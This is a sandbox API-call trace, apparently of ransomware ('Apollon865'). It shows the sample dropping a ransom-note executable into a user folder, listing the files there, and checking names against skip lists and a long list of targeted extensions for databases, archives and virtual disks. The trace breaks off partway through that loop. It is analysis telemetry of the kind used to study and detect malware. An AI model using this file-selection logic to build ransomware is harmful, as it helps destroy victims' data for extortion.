	[0040.297] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x46, lpOverlapped=0x0) returned 1
	[0040.297] CloseHandle (hObject=0x14c) returned 1
	[0040.298] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0040.298] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches"
	[0040.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bccd0 | out: hHeap=0x580000) returned 1
	[0040.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0040.298] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned 38
	[0040.298] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches"
	[0040.298] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.298] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.303] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3021f910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3021f910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.303] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.303] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.303] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.303] lstrlenW (lpString="desktop.ini") returned 11
	[0040.303] lstrlenW (lpString="Apollon865") returned 10
	[0040.303] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.303] lstrlenW (lpString=".dll") returned 4
	[0040.303] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.303] lstrlenW (lpString=".lnk") returned 4
	[0040.303] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.303] lstrlenW (lpString=".ini") returned 4
	[0040.303] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.303] lstrlenW (lpString=".sys") returned 4
	[0040.303] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.303] lstrlenW (lpString="desktop.ini") returned 11
	[0040.303] lstrlenW (lpString="bak") returned 3
	[0040.303] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0040.303] lstrlenW (lpString="ba_") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0040.304] lstrlenW (lpString="dbb") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0040.304] lstrlenW (lpString="vmdk") returned 4
	[0040.304] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0040.304] lstrlenW (lpString="rar") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0040.304] lstrlenW (lpString="zip") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0040.304] lstrlenW (lpString="tgz") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0040.304] lstrlenW (lpString="vbox") returned 4
	[0040.304] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0040.304] lstrlenW (lpString="vdi") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0040.304] lstrlenW (lpString="vhd") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0040.304] lstrlenW (lpString="vhdx") returned 4
	[0040.304] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0040.304] lstrlenW (lpString="avhd") returned 4
	[0040.304] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0040.304] lstrlenW (lpString="db") returned 2
	[0040.304] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0040.304] lstrlenW (lpString="db2") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0040.304] lstrlenW (lpString="db3") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0040.304] lstrlenW (lpString="dbf") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0040.304] lstrlenW (lpString="mdf") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0040.304] lstrlenW (lpString="mdb") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0040.304] lstrlenW (lpString="sql") returned 3
	[0040.304] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0040.304] lstrlenW (lpString="sqlite") returned 6
	[0040.304] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0040.304] lstrlenW (lpString="sqlite3") returned 7
	[0040.305] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0040.305] lstrlenW (lpString="sqlitedb") returned 8
	[0040.305] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0040.305] lstrlenW (lpString="xml") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0040.305] lstrlenW (lpString="$er") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0040.305] lstrlenW (lpString="4dd") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0040.305] lstrlenW (lpString="4dl") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0040.305] lstrlenW (lpString="^^^") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0040.305] lstrlenW (lpString="abs") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0040.305] lstrlenW (lpString="abx") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0040.305] lstrlenW (lpString="accdb") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0040.305] lstrlenW (lpString="accdc") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0040.305] lstrlenW (lpString="accde") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0040.305] lstrlenW (lpString="accdr") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0040.305] lstrlenW (lpString="accdt") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0040.305] lstrlenW (lpString="accdw") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0040.305] lstrlenW (lpString="accft") returned 5
	[0040.305] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0040.305] lstrlenW (lpString="adb") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.305] lstrlenW (lpString="adb") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.305] lstrlenW (lpString="ade") returned 3
	[0040.305] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0040.305] lstrlenW (lpString="adf") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0040.306] lstrlenW (lpString="adn") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0040.306] lstrlenW (lpString="adp") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0040.306] lstrlenW (lpString="alf") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0040.306] lstrlenW (lpString="ask") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0040.306] lstrlenW (lpString="btr") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0040.306] lstrlenW (lpString="cat") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0040.306] lstrlenW (lpString="cdb") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0040.306] lstrlenW (lpString="ckp") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0040.306] lstrlenW (lpString="cma") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0040.306] lstrlenW (lpString="cpd") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0040.306] lstrlenW (lpString="dacpac") returned 6
	[0040.306] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0040.306] lstrlenW (lpString="dad") returned 3
	[0040.306] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0040.306] lstrlenW (lpString="dadiagrams") returned 10
	[0040.306] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0040.306] lstrlenW (lpString="daschema") returned 8
	[0040.306] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0040.306] lstrlenW (lpString="db-journal") returned 10
	[0040.306] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0040.306] lstrlenW (lpString="db-shm") returned 6
	[0040.306] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0040.306] lstrlenW (lpString="db-wal") returned 6
	[0040.306] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0040.306] lstrlenW (lpString="dbc") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0040.307] lstrlenW (lpString="dbs") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0040.307] lstrlenW (lpString="dbt") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0040.307] lstrlenW (lpString="dbv") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0040.307] lstrlenW (lpString="dbx") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0040.307] lstrlenW (lpString="dcb") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0040.307] lstrlenW (lpString="dct") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0040.307] lstrlenW (lpString="dcx") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0040.307] lstrlenW (lpString="ddl") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0040.307] lstrlenW (lpString="dlis") returned 4
	[0040.307] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0040.307] lstrlenW (lpString="dp1") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0040.307] lstrlenW (lpString="dqy") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0040.307] lstrlenW (lpString="dsk") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0040.307] lstrlenW (lpString="dsn") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0040.307] lstrlenW (lpString="dtsx") returned 4
	[0040.307] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0040.307] lstrlenW (lpString="dxl") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0040.307] lstrlenW (lpString="eco") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0040.307] lstrlenW (lpString="ecx") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0040.307] lstrlenW (lpString="edb") returned 3
	[0040.307] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0040.307] lstrlenW (lpString="epim") returned 4
	[0040.307] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0040.308] lstrlenW (lpString="fcd") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0040.308] lstrlenW (lpString="fdb") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0040.308] lstrlenW (lpString="fic") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0040.308] lstrlenW (lpString="flexolibrary") returned 12
	[0040.308] lstrlenW (lpString="fm5") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0040.308] lstrlenW (lpString="fmp") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0040.308] lstrlenW (lpString="fmp12") returned 5
	[0040.308] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0040.308] lstrlenW (lpString="fmpsl") returned 5
	[0040.308] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0040.308] lstrlenW (lpString="fol") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0040.308] lstrlenW (lpString="fp3") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0040.308] lstrlenW (lpString="fp4") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0040.308] lstrlenW (lpString="fp5") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0040.308] lstrlenW (lpString="fp7") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0040.308] lstrlenW (lpString="fpt") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0040.308] lstrlenW (lpString="frm") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0040.308] lstrlenW (lpString="gdb") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.308] lstrlenW (lpString="gdb") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.308] lstrlenW (lpString="grdb") returned 4
	[0040.308] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0040.308] lstrlenW (lpString="gwi") returned 3
	[0040.308] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0040.308] lstrlenW (lpString="hdb") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0040.309] lstrlenW (lpString="his") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0040.309] lstrlenW (lpString="ib") returned 2
	[0040.309] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0040.309] lstrlenW (lpString="idb") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0040.309] lstrlenW (lpString="ihx") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0040.309] lstrlenW (lpString="itdb") returned 4
	[0040.309] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0040.309] lstrlenW (lpString="itw") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0040.309] lstrlenW (lpString="jet") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0040.309] lstrlenW (lpString="jtx") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0040.309] lstrlenW (lpString="kdb") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0040.309] lstrlenW (lpString="kexi") returned 4
	[0040.309] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0040.309] lstrlenW (lpString="kexic") returned 5
	[0040.309] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0040.309] lstrlenW (lpString="kexis") returned 5
	[0040.309] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0040.309] lstrlenW (lpString="lgc") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0040.309] lstrlenW (lpString="lwx") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0040.309] lstrlenW (lpString="maf") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0040.309] lstrlenW (lpString="maq") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0040.309] lstrlenW (lpString="mar") returned 3
	[0040.309] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0040.309] lstrlenW (lpString="marshal") returned 7
	[0040.309] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0040.309] lstrlenW (lpString="mas") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0040.310] lstrlenW (lpString="mav") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0040.310] lstrlenW (lpString="maw") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0040.310] lstrlenW (lpString="mdbhtml") returned 7
	[0040.310] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0040.310] lstrlenW (lpString="mdn") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0040.310] lstrlenW (lpString="mdt") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0040.310] lstrlenW (lpString="mfd") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0040.310] lstrlenW (lpString="mpd") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0040.310] lstrlenW (lpString="mrg") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0040.310] lstrlenW (lpString="mud") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0040.310] lstrlenW (lpString="mwb") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0040.310] lstrlenW (lpString="myd") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0040.310] lstrlenW (lpString="ndf") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0040.310] lstrlenW (lpString="nnt") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0040.310] lstrlenW (lpString="nrmlib") returned 6
	[0040.310] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0040.310] lstrlenW (lpString="ns2") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0040.310] lstrlenW (lpString="ns3") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0040.310] lstrlenW (lpString="ns4") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0040.310] lstrlenW (lpString="nsf") returned 3
	[0040.310] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0040.310] lstrlenW (lpString="nv") returned 2
	[0040.311] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0040.311] lstrlenW (lpString="nv2") returned 3
	[0040.311] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0040.311] lstrlenW (lpString="nwdb") returned 4
	[0040.311] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0040.311] lstrlenW (lpString="nyf") returned 3
	[0040.311] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0040.311] lstrlenW (lpString="odb") returned 3
	[0040.311] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.311] lstrlenW (lpString="odb") returned 3
	[0040.311] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.311] lstrlenW (lpString="oqy") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0040.312] lstrlenW (lpString="ora") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0040.312] lstrlenW (lpString="orx") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0040.312] lstrlenW (lpString="owc") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0040.312] lstrlenW (lpString="p96") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0040.312] lstrlenW (lpString="p97") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0040.312] lstrlenW (lpString="pan") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0040.312] lstrlenW (lpString="pdb") returned 3
	[0040.312] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0040.313] lstrlenW (lpString="pdm") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0040.313] lstrlenW (lpString="pnz") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0040.313] lstrlenW (lpString="qry") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0040.313] lstrlenW (lpString="qvd") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0040.313] lstrlenW (lpString="rbf") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0040.313] lstrlenW (lpString="rctd") returned 4
	[0040.313] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0040.313] lstrlenW (lpString="rod") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0040.313] lstrlenW (lpString="rodx") returned 4
	[0040.313] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0040.313] lstrlenW (lpString="rpd") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0040.313] lstrlenW (lpString="rsd") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0040.313] lstrlenW (lpString="sas7bdat") returned 8
	[0040.313] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0040.313] lstrlenW (lpString="sbf") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0040.313] lstrlenW (lpString="scx") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0040.313] lstrlenW (lpString="sdb") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0040.313] lstrlenW (lpString="sdc") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0040.313] lstrlenW (lpString="sdf") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0040.313] lstrlenW (lpString="sis") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0040.313] lstrlenW (lpString="spq") returned 3
	[0040.313] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0040.313] lstrlenW (lpString="te") returned 2
	[0040.314] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0040.314] lstrlenW (lpString="teacher") returned 7
	[0040.314] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0040.314] lstrlenW (lpString="tmd") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0040.314] lstrlenW (lpString="tps") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0040.314] lstrlenW (lpString="trc") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.314] lstrlenW (lpString="trc") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.314] lstrlenW (lpString="trm") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0040.314] lstrlenW (lpString="udb") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0040.314] lstrlenW (lpString="udl") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0040.314] lstrlenW (lpString="usr") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0040.314] lstrlenW (lpString="v12") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0040.314] lstrlenW (lpString="vis") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0040.314] lstrlenW (lpString="vpd") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0040.314] lstrlenW (lpString="vvv") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0040.314] lstrlenW (lpString="wdb") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0040.314] lstrlenW (lpString="wmdb") returned 4
	[0040.314] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0040.314] lstrlenW (lpString="wrk") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0040.314] lstrlenW (lpString="xdb") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0040.314] lstrlenW (lpString="xld") returned 3
	[0040.314] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0040.315] lstrlenW (lpString="xmlff") returned 5
	[0040.315] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0040.315] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1
